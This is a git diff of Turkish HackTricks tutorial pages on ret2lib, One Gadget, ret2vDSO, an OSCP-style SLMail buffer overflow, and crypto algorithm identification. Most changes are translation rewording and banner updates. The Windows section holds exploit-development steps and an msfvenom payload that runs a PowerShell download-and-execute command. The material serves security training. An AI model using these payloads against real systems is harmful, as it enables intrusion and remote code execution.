{% content-ref url="one-gadget.md" %} [one-gadget.md](one-gadget.md) @@ -139,11 +140,11 @@ Ayrıca ARM64'te bir komut, ne yapması gerekiyorsa onu yapar (komutların ortas ## Printf'e Ret -Bu, `printf`/`puts`'ı belirli bir veriyle bir argüman olarak çağırarak işlemdeki bilgileri sızdırmayı sağlar. Örneğin, GOT'taki `puts` adresini `puts`'ın bir yürütülmesine yerleştirmek, bellekteki `puts` adresini sızdıracaktır. +Bu, `printf`/`puts`'ı belirli bir veriyle bir argüman olarak çağırarak işlemdeki bilgileri sızdırmayı sağlar. Örneğin, GOT'taki `puts` adresini bir `puts` çalıştırmasına yerleştirmek, bellekteki `puts` adresini sızdıracaktır. ## Ret2printf -Bu temelde, bir `Ret2lib`'i kullanarak bir `printf` format dizesi güvenlik açığına dönüştürmek anlamına gelir, `ret2lib`'i kullanarak onu sömürmek için `printf`'i çağırmak ve sömürmek için değerlerle kullanmak (anlamsız görünse de mümkündür): +Bu temelde bir `Ret2lib`'i `printf` format dizesi açığına dönüştürmek için `ret2lib`'i kullanarak `printf`'i çağırmak ve sömürmek için değerlerle kullanmaktır (anlamsız gibi görünse de mümkündür): {% content-ref url="../../format-strings/" %} [format-strings](../../format-strings/) @@ -154,12 +155,12 @@ Bu temelde, bir `Ret2lib`'i kullanarak bir `printf` format dizesi güvenlik aç * [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html) * Ret2lib, libc'teki bir işlevin adresine sızıntı verildiğinde, tek bir araç kullanarak * [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) -* 64 bit, ASLR etkin ancak PIE etkin değil, ilk adım bir taşma oluşturup canary'nin 0x00 baytına kadar doldurmak ve ardından puts'u çağırıp sızdırmaktır. Canary ile puts'un GOT'tan adresini sızdırmak için bir ROP aracı oluşturulur ve ardından `/bin/sh` adresiyle `system('/bin/sh')` çağırmak için bir ROP aracı oluşturulur. +* 64 bit, ASLR etkin ancak PIE yok, ilk adım bir taşma oluşturup canary'nin 0x00 baytına kadar doldurmak ve ardından puts'u çağırıp sızdırmaktır. Canary ile puts'un GOT'tan adresini sızdırmak için bir ROP aracı oluşturulur ve ardından `/bin/sh` adresiyle `system('/bin/sh')` çağırmak için bir ROP aracı oluşturulur. * [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html) -* 64 bit, ASLR etkin, canary yok, ana fonksiyonda bir çocuk fonksiyonundan yığın taşması. Puts'u çağırmak için ROP aracı oluşturup GOT'tan puts'un adresini sızdırmak ve ardından bir ROP aracı çağırmak için ROP aracı oluşturulur. +* 64 bit, ASLR etkin, canary yok, ana fonksiyonda bir çocuk fonksiyondan yığın taşması. Puts'u çağırmak için ROP aracı oluşturup GOT'tan puts'un adresini sızdırmak ve ardından bir araç çağırmak. * [https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html) -* 64 bit, pie yok, canary yok, relro yok, nx. Write işlevini kullanarak write (libc) adresini sızdırmak ve bir araç çağırmak için kullanır. +* 64 bit, pie yok, canary yok, relro yok, nx. Write işlevini kullanarak write'un adresini (libc) sızdırmak ve tek bir araç çağırmak için kullanır. * [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html) -* Stack'ten canary'yi sızdırmak için bir format dizesi kullanır ve bir taşma oluşturarak system'i (GOT'ta) `/bin/sh` adresiyle çağırmak için bir araç oluşturur. +* Yığın üzerinden canary'yi sızdırmak için bir format dizesi kullanır ve sistem çağrısına (GOT'ta) `/bin/sh` adresiyle birlikte bir taşma oluşturmak için bir aşırı taşma kullanır. * [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html) -* 32 bit, relro yok, canary yok, nx, pie. Bir sızıntı oluşturmak için kötü bir dizinlemeyi kötüye kullanır ve yığından libc ve heap adreslerini sızdırmak için kötüye kullanır. Buffer taşmasını kötüye kullanarak `system('/bin/sh')` çağırmak için ret2lib yapar (bir kontrolü atlamak için heap adresine ihtiyaç vardır). +* 32 bit, relro yok, canary yok, nx, pie. Bir kötü dizinlemeyi kötüye kullanarak yığından libc ve heap adreslerini sızdırmak. Bir taşma oluşturmak için bir ROP aracı kullanarak `system('/bin/sh')` çağrısı yapar (bir kontrolü atlamak için heap adresine ihtiyaç vardır). diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md index 968abba54..eaa78fbbf 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md @@ -1,23 +1,24 @@ # Tek Gadget +{% hint style="success" %} +AWS Hacking öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**]'yi keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek hackleme püf noktalarını paylaşın.
+{% endhint %} ## Temel Bilgiler [**Tek Gadget**](https://github.com/david942j/one\_gadget), **system** ve **"/bin/sh"** kullanmak yerine kabuk elde etmeyi sağlar. **Tek Gadget**, sadece bir **adres** kullanarak bir kabuk (`execve("/bin/sh")`) elde etmek için libc kütüphanesinde bir yol bulacaktır.\ -Ancak genellikle bazı kısıtlamalar vardır, en yaygın olanlarından ve kolayca kaçınılabilecek olanlarından biri `[rsp+0x30] == NULL` gibi. **RSP** içindeki değerleri kontrol ettiğinizden, kısıtlamayı önlemek için sadece daha fazla NULL değeri göndermeniz yeterlidir. +Ancak genellikle bazı kısıtlamalar vardır, en yaygın olanları ve kolayca kaçınılabilecek olanlar `[rsp+0x30] == NULL` gibi. **RSP** içindeki değerleri kontrol ettiğinizden, sadece daha fazla NULL değeri göndererek kısıtlamayı önleyebilirsiniz. ![](<../../../.gitbook/assets/image (754).png>) ```python @@ -36,23 +37,24 @@ Github deposu, **ARM64'ün desteklendiğini** belirtiyor, ancak Kali 2023.3'ün ## Kızgın Gadget -[**Github deposu**](https://github.com/ChrisTheCoolHut/angry\_gadget)'ndan: [OneGadget](https://github.com/david942j/one\_gadget)'den esinlenerek, bu araç python dilinde yazılmıştır ve `execve('/bin/sh', NULL, NULL)` komutunu yürüten gadget'lar için kısıtlamaları test etmek için [angr](https://github.com/angr/angr) kullanır.\ +[**Github deposu**](https://github.com/ChrisTheCoolHut/angry\_gadget)'ndan: [OneGadget](https://github.com/david942j/one\_gadget)'den ilham alınarak bu araç python dilinde yazılmıştır ve `execve('/bin/sh', NULL, NULL)` komutunu yürüten gadget'lar için kısıtlamaları test etmek için [angr](https://github.com/angr/angr) kullanır.\ One Gadget'dan denemek için gadget'larınız tükendiğinde, Kızgın Gadget karmaşık kısıtlamalarla daha fazlasını sunar! ```bash pip install angry_gadget angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so ``` +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/binary-exploitation/rop-return-oriented-programing/ret2vdso.md b/binary-exploitation/rop-return-oriented-programing/ret2vdso.md index bf13cbcfa..ceda941f7 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2vdso.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2vdso.md @@ -1,24 +1,25 @@ # Ret2vDSO +{% hint style="success" %} +AWS Hacking öğrenin ve pratik yapın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu -* 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Temel Bilgiler Genellikle kullanıcı modundan çekirdek moduna geçiş için kullanılan **vDSO bölgesindeki aygıtlar** olabilir. Bu tür zorluklarda genellikle bir çekirdek görüntüsü sağlanır ve vDSO bölgesi dökülür. -[https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) örneğini takip ederek, vdso bölümünün dökülmesinin ve ana bilgisayara taşınmasının nasıl mümkün olduğunu görebilirsiniz. +[https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) örneğini takip ederek, vdso bölümünün dökülerek ana bilgisayara taşınabileceği görülebilir. ```bash # Find addresses cat /proc/76/maps @@ -64,27 +65,28 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd ``` {% hint style="danger" %} -Bu nedenle, **vdso'yu kötüye kullanarak ASLR'yi atlayabilir** olabileceğine dikkat edin eğer kernel CONFIG\_COMPAT\_VDSO ile derlenmişse, vdso adresi rastgele olmayacaktır: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639) +Bu nedenle, **vdso'yu kötüye kullanarak ASLR'yi atlayabilme** olasılığının olabileceğine dikkat edin, çünkü kernel CONFIG\_COMPAT\_VDSO ile derlenmişse vdso adresi rastgele olmayacaktır: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639) {% endhint %} ### ARM64 -Kali 2023.2 arm64'te bir ikili dosyanın vdso bölümünü döküp kontrol ettikten sonra, orada ilginç bir araç bulamadım (yığında bulunan değerlerden kayıtları kontrol etmek veya bir ret için x30'u kontrol etmek için bir yol yok) **ancak bir SROP'u çağırmak için bir yol var**. Daha fazla bilgi için sayfadaki örneğe bakın: +Kali 2023.2 arm64'te bir ikili dosyanın vdso bölümünü döküp kontrol ettikten sonra, orada ilginç bir araç bulamadım (değerlerden kaynaklanan kayıtları kontrol etmek veya x30'u bir ret için kontrol etmek için bir yol yok) **ancak bir SROP'u çağırmak için bir yol** bulunmaktadır. Daha fazla bilgi için sayfadaki örneğe bakın: {% content-ref url="srop-sigreturn-oriented-programming/srop-arm64.md" %} [srop-arm64.md](srop-sigreturn-oriented-programming/srop-arm64.md) {% endcontent-ref %} +{% hint style="success" %} +AWS Hacking öğrenin ve pratik yapın:[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve pratik yapın: [**HackTricks Eğitimi GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md b/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md index 0ae938e74..4fbb3dc93 100644 --- a/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md +++ b/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md @@ -1,18 +1,19 @@ # Windows Exploiting (Temel Kılavuz - OSCP seviyesi) +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com) -* [**PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**] koleksiyonumuz (https://opensea.io/collection/the-peass-family) -* **Katılın** 💬 [**Discord grubuna**] (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**] veya bizi **Twitter** 🐦 [**@hacktricks\_live**] (https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşın, PR'lar göndererek** [**HackTricks**] ve [**HackTricks Cloud**] github depolarına (https://github.com/carlospolop/hacktricks). +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## **SLMail servisini kurmaya başlayın** @@ -72,21 +73,19 @@ Desen, önceki servisi durdurmak için kullandığınız tampon kadar büyük ol ``` /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ``` -```markdown -Değiştirin ve modeli ayarlayın ve saldırıyı başlatın. +Değiştirme exploitin tamponunu ve deseni ayarla ve exploit'i başlat. Yeni bir çökme oluşmalı, ancak farklı bir EIP adresi ile: ![](<../.gitbook/assets/image (636).png>) -Adresin modelinizde olup olmadığını kontrol edin: +Adresin deseninizde olup olmadığını kontrol edin: ![](<../.gitbook/assets/image (418).png>) ``` -``` /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 ``` -Görünüşe göre, tamponun 2606 ofsetindeki EIP'yi değiştirebiliyoruz. +Görünüşe göre **tamponun 2606 ofsetindeki EIP'yi değiştirebiliyoruz**. Exploit'in tamponunu değiştirerek kontrol edin: ``` @@ -102,14 +101,13 @@ Görünüşe göre çalışıyor. ## Stack içinde Shellcode alanını kontrol et -600B, herhangi güçlü bir shellcode için yeterli olmalıdır. +Güçlü bir shellcode için 600B yeterli olmalıdır. Şimdi tamponu değiştirelim: ``` buffer = 'A'*2606 + 'BBBB' + 'C'*600 ``` -```markdown -Yeni açığı başlatın ve EBP'yi kontrol edin ve kullanışlı shellcode'ın uzunluğunu kontrol edin +Başlatılan yeni saldırıyı kontrol edin ve EBP'yi ve kullanışlı shellcode'un uzunluğunu kontrol edin ![](<../.gitbook/assets/image (119).png>) @@ -123,7 +121,6 @@ Bu durumda **0x0209A128'den 0x0209A2D6'ya kadar = 430B.** Yeterli. Yine tamponu değiştirin: ``` -``` badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" @@ -144,7 +141,7 @@ badchars = ( ) buffer = 'A'*2606 + 'BBBB' + badchars ``` -badchars 0x01 ile başlar çünkü 0x00 neredeyse her zaman kötüdür. +Badchars 0x01'den başlar çünkü 0x00 neredeyse her zaman kötüdür. Bu yeni tamponla tekrar tekrar saldırıyı yürütün ve gereksiz bulunan karakterleri silin: @@ -154,7 +151,7 @@ Bu durumda **0x0A karakterini kullanmamalısınız** (0x09 karakterinde hiçbir ![](<../.gitbook/assets/image (111).png>) -Bu durumda **0x0D karakterinden kaçınılması gerektiği görülmektedir**: +Bu durumda **0x0D karakterinden kaçınılıyor**: ![](<../.gitbook/assets/image (1098).png>) @@ -164,17 +161,17 @@ Kullanarak: ``` !mona modules #Get protections, look for all false except last one (Dll of SO) ``` -**Bellek haritalarını listeleyeceksiniz**. Yukarıdaki özelliklere sahip bir DLL arayın: +**Bellek haritalarını listeleyeceksiniz**. Şu özelliklere sahip bir DLL arayın: * **Yer Değiştirme: Yanlış** * **SafeSEH: Yanlış** * **ASLR: Yanlış** * **NX Uyumluluğu: Yanlış** -* **OS Dll: Doğru** +* **İşletim Sistemi DLL'si: Doğru** ![](<../.gitbook/assets/image (555).png>) -Şimdi, bu bellek içinde bazı JMP ESP baytlarını bulmalısınız, bunun için şunu çalıştırın: +Şimdi, bu bellek içinde bazı JMP ESP baytlarını bulmalısınız, bunu yapmak için şunu çalıştırın: ``` !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case @@ -192,7 +189,7 @@ msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Obj ``` Eğer exploit çalışmıyorsa ama çalışması gerekiyorsa (ImDebg ile shellcode'a ulaşıldığını görebilirsiniz), farklı shellcodelar oluşturmayı deneyin (aynı parametrelerle farklı shellcodelar oluşturmak için msfvenom'u kullanın). -Shellcode'un başına **bazı NOPS'lar ekleyin** ve onu ve return adresini JMP ESP'ye yönlendirerek exploit'i tamamlayın: +Shellcode'un başına **bazı NOPS'ları ekleyin** ve onu ve return adresini JMP ESP'ye yönlendirerek exploit'i tamamlayın: ```bash #!/usr/bin/python @@ -242,25 +239,26 @@ except: print "Could not connect to "+ip+":"+port ``` {% hint style="warning" %} -Kendilerini **üzerine yazacak** kabuk kodları bulunmaktadır, bu nedenle kabuk kodundan önce her zaman bir miktar NOP eklemek önemlidir. +Kendilerini **üzerine yazacak** shellcode'lar bulunmaktadır, bu yüzden shellcode'un önüne her zaman bir miktar NOP eklemek önemlidir. {% endhint %} -## Kabuk kodunu geliştirme +## Shellcode'u geliştirme Bu parametreleri ekleyin: ```bash EXITFUNC=thread -e x86/shikata_ga_nai ``` +{% hint style="success" %} +Öğren ve AWS Hacking pratiği yap:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Öğren ve GCP Hacking pratiği yap: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekle -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol et! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katıl veya [**telegram grubuna**](https://t.me/peass) katıl veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip et.** +* **Hacking püf noktalarını paylaşmak için PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulun.
+{% endhint %} diff --git a/crypto-and-stego/cryptographic-algorithms/README.md b/crypto-and-stego/cryptographic-algorithms/README.md index 0a2639253..536d2faf1 100644 --- a/crypto-and-stego/cryptographic-algorithms/README.md +++ b/crypto-and-stego/cryptographic-algorithms/README.md @@ -2,19 +2,20 @@ ## Kriptografik/Sıkıştırma Algoritmaları +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın(https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünleri**]'ni alın(https://peass.creator-spring.com) -* [**PEASS Ailesi**]'ni keşfedin(https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**]'in koleksiyonu -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek destek olun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
+{% endhint %} ## Algoritmaları Tanımlama @@ -24,27 +25,28 @@ Eğer bir kod **kaydırma işlemleri, XOR'lar ve çeşitli aritmetik işlemler** **CryptDeriveKey** -Bu fonksiyon kullanılıyorsa, ikinci parametrenin değerini kontrol ederek **hangi algoritmanın kullanıldığını** bulabilirsiniz: +Bu fonksiyon kullanılıyorsa, ikinci parametrenin değerini kontrol ederek hangi **algoritmanın kullanıldığını** bulabilirsiniz: ![](<../../.gitbook/assets/image (156).png>) -Mümkün algoritmaların ve atanan değerlerin tablosu için buraya bakabilirsiniz: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +Mümkün algoritmalar ve atanan değerlerin tablosu için buraya bakabilirsiniz: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) 